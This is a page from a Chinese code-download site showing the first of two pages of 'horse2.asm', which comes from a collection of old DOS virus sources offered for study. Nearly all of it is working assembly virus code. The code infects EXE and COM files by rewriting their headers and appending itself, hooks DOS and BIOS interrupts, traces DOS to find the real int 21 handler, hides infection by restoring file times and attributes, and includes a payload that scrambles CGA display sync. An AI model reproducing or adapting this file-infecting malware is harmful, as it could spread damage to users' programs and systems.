⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 horse2.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
			 JZ	CheckForEXE	; If so -> infect it
			 JMP	SkipFile	; Else skip file

CheckForEXE:		 CMP	ES:[DI+17],45	; Check if file is realy an EXE-named
			 JZ	CheckEXEsign	; If so -> check for MZ,ZM
			 JMP	SkipFile	; Else skip file

CheckEXEsign:		CMP	[SI],5A4Dh	; Check for MZ
			 JZ	InfectEXE	; If so -> infect file
			 CMP	[SI],4D5Ah	; Check for ZM
			 JZ	InfectEXE	; If so -> infect file
			 JMP	SkipFile	; Otherwise -> skip file

InfectEXE:		MOV	byte ptr [ComFlag],45h	  ; Set file type flag to EXE
			 MOV	AX,[SI+0Eh]	; Load AX with EXE file SS
			 MOV	[SSegment],AX	 ; and save it
			 MOV	AX,[SI+14h]	; Load AX with EXE header IP
			 MOV	[IPointer],AX	 ; and save it
			 MOV	AX,[SI+16h]	; Load AX with EXE header CS
			 MOV	[CSegment],AX	 ; And save it
			 MOV	DX,offset LastCode	; Load DX with virus CODE size
			 PUSH	DX		; Save it to stack
			 MOV	CX,9h		; Compute virus size in
			 SHR	DX,CL		; 512 pages
			 ADD	[SI+04h],DX	; Increase EXE file header size field
						; with virus pages
			 POP	DX		; Restore virus size in DX
			 AND	DX,01FFh	; Compute reminder from VirusSize/512
			 ADD	DX,[SI+02]	; Save value in EXE header
			 CMP	DX,0200  ; Check virus reminder
			 JL	NoAdjustRem	; If less than 512 -> no adjust
			 SUB	DX,0200 	; Else decrease reminder
			 INC	word ptr [SI+04]	; Increase EXE header page count
NoAdjustRem:
			 MOV	[SI+02],DX	; Save correct reminder in EXE header
			 MOV	AX,[SI+08]	; Load AX with file size in paragraphs
			 SUB	DX,DX		; Set DX to Zero

			 CALL	LongMultiple16	; Get DX:AX file size in bytes
			 SUB	[offset FileSizeLow],AX 	; Correct saved file size
			 SBB	[offset FileSizeHi],DX
			 MOV	AX,[FileSizeLow]	; Load DX:AX with corrected file size
			 MOV	DX,[offset FileSizeHi]
			 CALL	LongMultiple16		; DX:AX *= 0x10
			 MOV	CX,0008 	; Calculate new entry CS:IP
			 SHL	DX,CL		; DX/=0x100
			 MOV	CX,0004
			 SHR	AX,CL		; AX/=0x10
			 MOV	[SI+14],AX	; Set entry CS:IP to EXE header
			 MOV	[SI+16],DX
			 MOV	[NewCS],DX	; Save new entry CS
			 ADD	DX,0200 	; Calculate new entry SS
			 MOV	[SI+0E],DX	; Store it to EXE header

DoInfect:
			 MOV	ES:[DI+04],0000 ; Set file pointer to 0L
			 MOV	ES:[DI+06],0000
			 PUSH	ES:[DI-02]	; Save file date/time on stack
			 PUSH	ES:[DI-04]
			 SUB	CX,CX		; Set CX to 0
			 XCHG	CX,ES:[DI-0Dh]	; Load CX file attrib/set file attrib to 0
			 PUSH	CX		; Save file attrib to stack
			 MOV	AH,40		; Write file
			 MOV	DX,offset LastByte	; EXE header
			 MOV	CX,001B 	; Rewrite modified EXE header
			 INT	21		; Do write
			 JC	BadWrite	; If error skip file
			 MOV	AX,ES:[DI]	; Set file pointer
			 MOV	ES:[DI+04],AX
			 MOV	AX,ES:[DI+02]	; to end of file
			 MOV	ES:[DI+06],AX	;
			 MOV	AH,40		; Will write
			 SUB	DX,DX		; Virus offset
			 MOV	CX,offset LastCode	; Virus size
			 INT	21	; Write virus to EXE file

BadWrite:
			 POP	CX	; Restore file attrib from stack
			 MOV	ES:[DI-0Dh],CX	 ; Set attrib of file
			 POP	CX	; Restore file date/time from stack
			 POP	DX
			 OR	byte ptr ES:[DI-0Bh],40   ; Set DO NOT UPDATE TIME flag in table
			 JC	NoFuckTime	; If write error -> Set normal time
			 OR	CX,001F ; Else set file seconds to 62
NoFuckTime:
			 MOV	AX,5701 	; Set file date/time
			 INT	21		; Via int21
SkipFile:
			 MOV	AH,3E		; CloseFile
			 INT	21
			 OR	byte ptr ES:[DI-0Ch],40   ; ????
			 SUB	AX,AX		; Set DS to 0
			 MOV	DS,AX
			 POP	AX		; Restore int 13 seg
			 MOV	[004E],AX	; Restore vector 13 seg
			 POP	AX		; Restore int 13 off
			 MOV	[004C],AX	; Restore vector 13 off
			 POP	AX		; Restore int 24 seg
			 MOV	[0092],AX	; Restore vector 24 seg
			 POP	AX		; Restore int 24 off
			 MOV	[0090],AX	; Restore vector 24 off
			 POP	AX		; Restore int 21 seg
			 MOV	[0086],AX	; Restore vector 21 seg
			 POP	AX		; Restore int 21 off
			 MOV	[0084],AX	; Restore vector 21 off
			 POP	AX		; Restore int 8 seg
			 MOV	[0022],AX	; Restore vector 8 seg
			 POP	AX		; Restore int 8 off
			 MOV	[0020],AX	; Restore vector 0 off
			 JMP	ErrorProcess		; Update counter
InfectCom:
			 TEST	byte ptr ES:[DI-0Dh],04   ; Check for SYSTEM file
			 JNZ	OkComFile	; If file IS system -> Damage file ?????
			 PUSH	SI		; Save buffer offset
			 CMP	ES:[DI+17],43	; Check if file ext begin with 'C'
			 JNZ	OkComFile	; If no -> damage file
			 MOV	byte ptr [ComFlag],43	  ; Set file type flag to COM
			 LODSW			; Load first 2 bytes of file
			 MOV	CS:[First3],AX	 ; And save them
			 LODSW			; Load seconf 2 bytes of file
			 MOV	CS:[First3+2],AX ; And save them
			 MOV	AX,ES:[DI]	; Load AX with file size
			 CMP	AX,0FA76h	; Check file size
			 POP	SI		; Restore buffer offset
			 JC	OkComFile	; If file is less than 64118 bytes -> OK infect
			 JMP	   short    SkipFile	    ; else skip file
OkComFile:
			 SUB	AX,0003 	; Calculate jump argument
			 MOV	byte ptr [SI],0E9h	 ; Set first instruction to near JMP
			 MOV	[SI+01],AX	; Store JMP argument
			 JMP	DoInfect	; Go write buffer

LongMultiple16:
			 PUSH	CX		; Save CX
			 MOV	CX,0004 	; Will repeat 4 times
DoMult:
			 SHL	AX,1		; Mult DX:AX * 2
			 RCL	DX,1		;
			 LOOP	DoMult		; Repeat 4 times -> 2^4 = 16
			 POP	CX		; Restore CX
			 RET			; Return to caller
SetUp:
			 MOV	AH,52		; Get DOS's table of table address
			 INT	21		; in ES:BX
			 MOV	CS:[Offset TableSegment],es	; Save table segment
						; Virus treat this segment as DOS segment
						; He assume int21 seg == to DOS segment
						; That's why virus will fail on DOS 5.X
			 CLI			; Disable interrupts
			 SUB	AX,AX		; Set AX to 0
			 MOV	DS,AX		; Set DS point to interrupt vectors
			 MOV	[0004],offset Debugger	; Set vector 1 (trap) offset
			 MOV	[0006],CS	;	; Set vector 1 (trap) seg
			 MOV	AX,[00BC]	; Load int2F off
			 MOV	CS:[offset Int2Foff],AX ; and save it
			 MOV	AX,[00BE]	; Load int2F seg
			 MOV	CS:[offset Int2Fseg],AX ; and save it
			 STI	; Enable interrupts
			 PUSHF		; Save flags
			 PUSHF		; Save flags
			 POP	AX	; Get flags in AX
			 OR	AX,0100 	; Set TF to 1 (trace mode)
			 PUSH	AX		; Put flags back to stack
			 POPF		; Begin trace
			 SUB	AX,AX	; AX = 0
			 DEC	AH	; AX = FF00 ???
			 CALL	dword ptr [0084]	; Call DOS (trace mode active)
			 MOV	SI,0004 	; SI = 4
			 MOV	DS,SI		; DS = SI = 4
			 MOV	AH,30		; Get DOS version
			 INT	21		; Via int21
			 CMP	AX,1E03  ; Check DOS 3.30
			 LES	AX,[SI+08]	; Load ES:AX with int13 address
			 JB	OkInt13  ; If DOS vers < 3.30 -> ignore BIOS address load/check
			 LES	AX,[0770+SI]	; then load ES:DX with BIOS address of int13
						; simulate int2F, AH=13
			 MOV	BX,ES		; BX:AX int13 BIOS address
			 CMP	BX,0C800h	; If int13 seg >= C800
			 JAE	OkInt13 	; Then address is in BIOS, all OK

			 CLI			; else HALT system
			 HLT
OkInt13:
			 MOV	CS:[offset Int13off],AX 	; Save in13 address
			 MOV	CS:[offset Int13seg],ES
			 IRET			; Return to caller, setup complete

Debugger:
			 PUSH	BP		; Save BP
			 MOV	BP,SP		; BP point to stack top
			 PUSH	BX		; Save BX
			 MOV	BX,CS:[offset TableSegment]	; Load BX with DOS segment
			 CMP	SS:[BP+04],BX	; Check debugged address
			 JNZ	ContinueDebug	; If not in DOS -> continue
			 MOV	BX,SS:[BP+02]	; else load BX with int21 off
			 MOV	CS:[offset Dos21off],BX ; and save it
			 AND	SS:[BP+06],0FEFFh	; Clear trap flag
ContinueDebug:
			 POP	BX		; Restore BX
			 POP	BP		; Restore BP
			 IRET		; Continue trace if require or
					; continue int21 execution without trace

; Next subroutine fuck you CGA display (don't affect EGA).
; Fucking result could be fix by dos MODE command

VideoFuck:
			 MOV	DX,03D4h	; Select CGA register selector
			 MOV	AL,02		; Select CRT register 2 (horiz sync)
			 OUT	DX,AL		; Do selection
			 MOV	AL,0FFh ; New sync value
			 MOV	DX,03D5h	; Select CGA register value writer
						; This could be INC DX; That save 1 byte
			 OUT	DX,AL		; Fuck horiz sync
			 JMP	EndInt21	; Terminate int21 request
CallDOS:
			 PUSHF		; Save flags
			 CALL	dword ptr CS:[offset Dos21off]	; Call ORIGINAL int21
			 RET		; Return to caller
CallInt2F:
			 PUSHF		; Save flags
			 CALL	dword ptr CS:[offset Int2Foff]	; Call SAVED int2F
			 RET		; Return to caller
TimerHandler:
			 PUSHF		; Save flags
			 CALL	dword ptr	CS:[offset TimerOff]	; Call original timer
			 PUSH	AX	; Save AX
			 PUSH	DS	; Save DS
			 SUB	AX,AX	; Set DS to interrupt table
			 MOV	DS,AX
			 CLI		; Disable interrupts
			 MOV	AX,CS:[offset Int13off] 	; Restore int13 address
			 MOV	[004C],AX
			 MOV	AX,CS:[offset Int13seg]
			 MOV	[004E],AX

			 MOV	[0020],offset TimerHandler	; Set int8
			 MOV	[0022],CS

			 MOV	AX,CS:[offset Dos21off] 	; Restore int21 address
			 MOV	[0084],AX
			 MOV	AX,CS:[offset TableSegment]
			 MOV	[0086],AX

			 MOV	AX,offset CriticalError 	; Set int24
			 MOV	[0090],AX
			 MOV	[0092],CS

			 STI			; Enable interrupts
			 POP	DS		; Restore DS
			 POP	AX		; Restore AX
			 IRET			; Terminate timing
CriticalError:
			 MOV	AL,03		; If critical error
			 IRET			; then simulate Ignore
VirusAuthor:
			db	'Sofia,Feb '
			db	27h
			db	'91 Naughty Hacker.'	; Replace this string with HORSE
EndAuthor:


LastCode		label	byte		; This is virus in file

Int21off:		DW	0		; Variable area
Int21seg:		DW	0		; NOT writed in file
Int2Foff:		DW	0
Int2Fseg:		DW	0
TimerOff:		DW	0
TimerSeg:		DW	0
Int13off:		DW	0
Int13seg:		DW	0
Dos21off:		DW	0
TableSegment:		DW	0
FileSizeLow:		DW	0
FileSizeHi:		dw	0
FunCounter:		dw	0		; Executed function counter
LastByte:		label	byte		; Memory size of virus

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -